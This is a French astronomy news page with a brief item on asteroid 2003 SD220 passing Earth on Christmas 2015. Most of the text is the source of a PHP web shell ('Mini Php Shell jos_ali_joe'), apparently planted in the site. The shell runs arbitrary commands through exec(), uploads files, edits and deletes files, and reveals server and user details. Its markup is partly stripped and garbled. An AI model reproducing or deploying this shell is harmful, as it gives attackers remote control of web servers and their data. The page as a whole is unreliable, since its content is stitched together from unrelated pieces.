ARTICLES ASTRONOMIE

Actualités astronomiques
mars60 Un astéroïde pour Noël
Par mars60 - Administrateur



Halloween avait eu une comète, Noël aura son astéroïde : le 24 décembre 2015, un énorme objet spatial de près de 2 km de long passera "à proximité" de la Terre.

Pas de panique ! L'astéroïde de Noël, baptisé 2003 SD220, qui a été découvert en 2003. devrait passer à quelque chose comme 28 fois la distance séparant notre planète de la Lune. Pas de quoi s'affoler donc !
source : http://lci.tf1.fr






Mini Php Shell jos_ali_joe




\" style=\"color: #fff\">
Mini Php Shell jos_ali_joe V27.9


Coded by jos_ali_joe

# web: color: #fff\">http://explorecrew.org/
# Contact : ali@explorecrew.org






function getperms($f) {
$mode=fileperms($f);

$perm=\'\';
$perm .= ($mode & 00400) ? \'r\' : \'-\';
$perm .= ($mode & 00200) ? \'w\' : \'-\';
$perm .= ($mode & 00100) ? \'x\' : \'-\';
$perm .= ($mode & 00040) ? \'r\' : \'-\';
$perm .= ($mode & 00020) ? \'w\' : \'-\';
$perm .= ($mode & 00010) ? \'x\' : \'-\';
$perm .= ($mode & 00004) ? \'r\' : \'-\';
$perm .= ($mode & 00002) ? \'w\' : \'-\';
$perm .= ($mode & 00001) ? \'x\' : \'-\';

return $perm;
}

print \"\";
print \"\";
if (is_callable(\"php_uname\"))
print \"\";

if (is_callable(\"posix_getuid\") and is_callable(\"posix_getgid\")) {
$uid=posix_getuid();
$uname=posix_getpwuid($uid);
$uname=$uname[\'name\'];

$gid=posix_getgid();
$gname=posix_getgrgid($gid);
$gname=$gname[\'name\'];

print \"\";
print \"\";
}

print \"
~ host \".$_SERVER[\'SERVER_NAME\'].\"
~ server \".$_SERVER[\'SERVER_SOFTWARE\'].\"
~ os \".php_uname().\"
~ uid $uid ($uname)
~ gid $gid ($gname)


\";

if (!isset($_POST[\'file\'])) {
?>



\" method=\"POST\">









\" method=\"POST\">




> Upload Data
send\"/>
> Comand
execute cmd\">


}

#
# Upload di file
#
if ($_POST[\'do_upload\']===\"true\") {
if ($_POST[\'dir\']==\"true\")
$dir=$_POST[\'dirname\'];
else
$dir=getcwd();

$uploadfile=$dir.\"/\".basename($_FILES[\'userfile\'][\'name\']);

if (move_uploaded_file($_FILES[\'userfile\'][\'tmp_name\'],$uploadfile)) {
print \"File successfully loaded
\\n\";
print \"~ file name: \".$_FILES[\'userfile\'][\'name\'].\"
\".
\"\\n~ type: \".$_FILES[\'userfile\'][\'type\'].\"
\\n\".
\"~ size: \".$_FILES[\'userfile\'][\'size\'].\" bytes
\\n\";
}

else print \"$ Error while loading \".$_FILES[\'userfile\'][\'name\'].\"
\\n\";
}

#
# Modifica o cancellazione di file
#
if (isset($_POST[\'dofile\'])) {
$ref=$_SERVER[\'HTTP_REFERER\'];
$fname=htmlentities($_POST[\'dofile\']);
$content=$_POST[\'content\'];

#
# Modifica
#
if (isset($_POST[\'save\'])) {
if (!($fp=fopen($fname,\"w\")))
die (\"$ Unable to write to $fname
\\n\");

fputs ($fp,$content);
fclose($fp);

print (\"File $fname successfully updated

\\n\");
}

#
# Cancellazione
#
if (isset($_POST[\'remove\'])) {
unlink ($fname) or die (\"$ Unable to remove $fname
\\n\");
print \"$fname successfully removed

\\n\";
}
}

#
# Esecuzione di un comando
#
if (isset($_POST[\'cmd\'])) {
$cmd=$_POST[\'cmd\'];
$output=array();
exec ($cmd,$output);

print \"

\\n\";
print \"# cmd output:

\";
print \"
\\n\";

foreach ($output as $line)
print \"$line
\\n\";
print \"
\\n\";
die(\'\');
}

#
# Visualizzazione di file
#
if (isset($_POST[\'fname\'])) {
print \"# Warning: editing or removing a file is only possible if you\'ve got the privileges to do that

\";

$fname=htmlentities($_POST[\'fname\']);
$file=file($fname) or print \"$ Unable to open $fname
\\n\";

print \"
\\n\";
print \"\\n\";
print \"

\\n\";
print \" Save file\\\" name=\\\"save\\\">\\n\";
print \" Delete file\\\" name=\\\"remove\\\">\\n\";
print \"
\\n\";
}

#
# Visualizzazione del contenuto di una directory
#
if (isset($_POST[\'dirname\']))
$path=htmlspecialchars($_POST[\'dirname\']);
else
$path=getcwd();

$dp=opendir($path) or die(\"$ Unable to open $path
\\n\");
chdir ($path);
$path=getcwd();

print \"

\\n\";
print \"> cwd: \".getcwd().\"

\\n\\n\";
$dir=array();

while ($file=readdir($dp))
if (strcmp(\".\",$file))
array_push($dir,\"$path/$file\");

closedir($dp);
sort($dir);

?>

\" method=\"POST\">

for ($i=0; $i print \"\\n\";

#
# Directory superiore
#
if (basename($dir[$i])===\"..\") {
$tmp=split(\'/\',getcwd());
$new=\"\";

for ($j=0; $j $new .= $tmp[$j].\"/\";

print \"
\\n\";
print \"\\n\";
}

#
# Directory
#
if (is_dir($dir[$i])) {
if (basename($dir[$i])!=\'..\') {
print \"\\n\";
print \"\\n\";
print \"\\n\";
}
}

#
# File comune
#
else {
if (basename($dir[$i])!=\'..\') {
print \"\\n\";
print \"\\n\";
print \"\\n\";
}
}
}

print \"
UP
DIR \"\\\" class=\\\"buttons\\\">DIR
FILE\".getperms($dir[$i]).\"
\\n\";
?>